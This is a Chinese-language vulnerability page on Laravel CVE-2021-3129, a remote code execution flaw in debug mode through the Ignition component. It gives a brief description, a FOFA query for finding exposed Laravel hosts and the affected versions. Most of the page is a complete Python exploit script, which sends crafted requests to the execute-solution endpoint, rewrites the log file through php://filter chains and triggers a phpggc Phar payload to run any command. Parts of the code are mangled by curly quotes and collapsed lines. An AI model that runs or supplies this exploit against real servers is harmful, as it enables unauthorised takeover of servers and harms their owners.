# Laravel <= V8.4.2 Debug模式远程代码执行漏洞（CVE-2021-3129）
Laravel 是一个免费的开源 PHP Web 框架，旨在实现的Web软件的MVC架构。2021年1月13日，阿里云应急响应中心监控到国外某安全研究团队披露了 Laravel <= 8.4.2 存在远程代码执行漏洞。当Laravel开启了Debug模式时，由于Laravel自带的Ignition功能的某些接口存在过滤不严，攻击者可以发起恶意请求，通过构造恶意Log文件等方式触发Phar反序列化，从而造成远程代码执行，控制服务器。
FOFA:
```
app="Laravel-Framework"
```
**影响版本**
* Laravel 框架 < 8.4.3
* facade ignition 组件 < 2.5.2
```py
# Exploit Title: Laravel 8.4.2 debug mode - Remote code execution
# Date: 1.14.2021
# Exploit Author: SunCSR Team
# Vendor Homepage: https://laravel.com/
# References:
# https://www.ambionics.io/blog/laravel-debug-rce
# https://viblo.asia/p/6J3ZgN8PKmB
# Version: <= 8.4.2
# Tested on: Ubuntu 18.04 + nginx + php 7.4.3
# Github POC: https://github.com/khanhnv-2091/laravel-8.4.2-rce
#!/usr/bin/env python3
import requests, sys, re, os
header={
"Accept": "application/json"
}
data = {
"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",\
"parameters":{
"variableName":"cm0s",
"viewFile":""
}
}
def clear_log(url='', viewFile=''):
global data
data['parameters']['viewFile'] = viewFile
while (requests.post(url=url, json=data, headers=header, verify=False).status_code != 200): pass
requests.post(url=url, json=data, headers=header, verify=False)
requests.post(url=url, json=data, headers=header, verify=False)
def create_payload(url='', viewFile=''):
global data
data['parameters']['viewFile'] = viewFile
resp = requests.post(url=url, json=data, headers=header, verify=False)
if resp.status_code == 500 and f'file_get_contents({viewFile})' in resp.text:
return True
return False
def convert(url='', viewFile=''):
global data
data['parameters']['viewFile'] = viewFile
resp = requests.post(url=url, json=data, headers=header, verify=False)
if resp.status_code == 200:
return True
return False
def exploited(url='', viewFile=''):
global data
data['parameters']['viewFile'] = viewFile
resp = requests.post(url=url, json=data, headers=header, verify=False)
if resp.status_code == 500 and 'cannot be empty' in resp.text:
m = re.findall(r'\{(.|\n)+\}((.|\n)*)', resp.text)
print()
print(m[0][1])
def generate_payload(command='', padding=0):
if '/' in command:
command = command.replace('/', '\/')
command = command.replace('\'', '\\\'')
os.system(r'''php -d'phar.readonly=0' ./phpggc/phpggc monolog/rce1 system '%s' --phar phar -o php://output | base64 -w0 | sed -E 's/./\0=00/g' > payload.txt”’%(command))
payload = ”
with open(‘payload.txt’, ‘r’) as fp:
payload = fp.read()
payload = payload.replace(‘==’, ‘=3D=’)
for i in range(padding):
payload += ‘=00’
os.system(‘rm -rf payload.txt’)
return payload
def main():
if len(sys.argv) < 4: print('Usage: %s url path-log command\n'%(sys.argv[0])) print('\tEx: %s http(s)://pwnme.me:8000 /var/www/html/laravel/storage/logs/laravel.log \'id\''%(sys.argv[0])) exit(1) if not os.path.isfile('./phpggc/phpggc'): print('Phpggc not found!') print('Run command: git clone https://github.com/ambionics/phpggc.git') os.system('git clone https://github.com/ambionics/phpggc.git') url = sys.argv[1] path_log = sys.argv[2] command = sys.argv[3] padding = 0 payload = generate_payload(command, padding) if not payload: print('Generate payload error!') exit(1) if 'http' not in url and 'https' not in url: url = 'http'+url else: url = url+'/_ignition/execute-solution' print('\nExploit...') clear_log(url, 'php://filter/write=convert.base64-decode|convert.base64-decode|convert.base64-decode/resource=%s'%(path_log)) create_payload(url, 'AA') create_payload(url, payload) while (not convert(url, 'php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=%s'%(path_log))): clear_log(url, 'php://filter/write=convert.base64-decode|convert.base64-decode|convert.base64-decode/resource=%s'%(path_log)) create_payload(url, 'AA') padding += 1 payload = generate_payload(command, padding) create_payload(url, payload) exploited(url, 'phar://%s'%(path_log)) if __name__ == '__main__': main() ``` ref： * https://www.exploit-db.com/exploits/49424 * https://xz.aliyun.com/t/9021 * https://forum.ywhack.com/thread-114968-1-1.html * https://github.com/facade/ignition/pull/334
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